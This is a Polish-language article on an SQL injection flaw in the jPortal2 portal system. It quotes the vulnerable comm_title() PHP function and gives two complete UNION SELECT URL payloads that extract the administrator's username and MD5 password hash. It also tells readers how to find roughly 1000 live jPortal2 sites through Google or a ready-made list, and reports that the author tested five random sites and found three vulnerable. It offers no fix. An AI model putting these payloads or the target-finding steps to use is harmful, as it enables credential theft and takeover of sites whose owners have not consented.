System jPortal2 podatny na SQL Injection

jPortal to system pozwalający na prowadzenie własnego portalu/vortalu tematycznego bez praktycznie żadnej wiedzy na temat tworzenia stron. W ostatniej wersji tego systemu występuje błąd pozwalający przeprowadzić atak typu SQL Injection.

SQL Injection to atak powodujący zmianę zapytania SQL, który pozwala zmodyfikować dane dostępne w bazie danych.

Błąd występuje w ostatnim Securite Pack systemu jPortal2 a dokładnie w funkcji comm_title() znajdującej się w pliku como.inc.php. Funkcja przedstawia się następująco:

function comm_title() {
global $news_tbl, $art_tbl, $PHP_SELF, $id, $what, $php_tbl;

if($what==’news’) $tbl = $news_tbl;
if($what==’article’) $tbl = $art_tbl;
if($what==’script’) $tbl = $php_tbl;

$query = „SELECT * FROM $tbl WHERE id=$id”;
$result = mysql_query($query);

$r = mysql_fetch_array($result);

$title = $r[‚title’];
$title = stripslashes($title);
echo „Komentarze do \”$title\””;
}

Jak widać w funkcji brakuje analizy przesyłanych informacji do zmiennej $id co pozwala na wykonanie SQL Injection.

Przykładowe zapytanie, które należy wpisać np. bezpośrednio w adresie URL przeglądarki wygląda następująco:

http://[adres serwera]/comment.php?what=news&id=[id istniejacego newsa] and 1=0 union (select null, null, nick, null, null, null, null, null, null, null, null, null from admins limit n,1)

gdzie w miejsce [adres serwera] należy wpisać adres serwera z działającym systemem jPortal2, natomiast w [id istniejacego newsa] wpisujemy numer identyfikacyjny istniejącego newsa.

Powyższe zapytanie powoduje wyświetlenie na stronie nazwę konta administratora. Warto również wiedzieć, jakie hasło posiada ów administrator. A zatem wystarczy wywołać poniższe zapytanie:

http://[adres serwera]/comment.php?what=news&id=[id istniejacego newsa] and 1=0 union (select null, null, pass, null, null, null, null, null, null, null, null, null from admins limit n,1)

Co w efekcie wyświetli nam na stronie hasło administratora zapisane w postaci md5.

Reasumując nie jest to jedyny błąd, jaki występuje w tym systemie – przykładowo poprzednim razem błąd SQL Injection występował w funkcji art_print().

System jPortal2 działa aktualnie na około 1000 stronach. Większość z nich można znaleźć przy pomocy wyszukiwarki Google bądź skorzystać z gotowej listy stron wykorzystujących system jPortal2 – na pięć losowo wybranych stron z tym systemem tylko trzy z nich były podatne na wyżej opisane błędy. Powodem tego może być starsza wersja bazy danych MySQL – operator UNION dodany został dopiero w wersji MySQL 4.x, bądź zmiana nazwy tabeli admins na inną.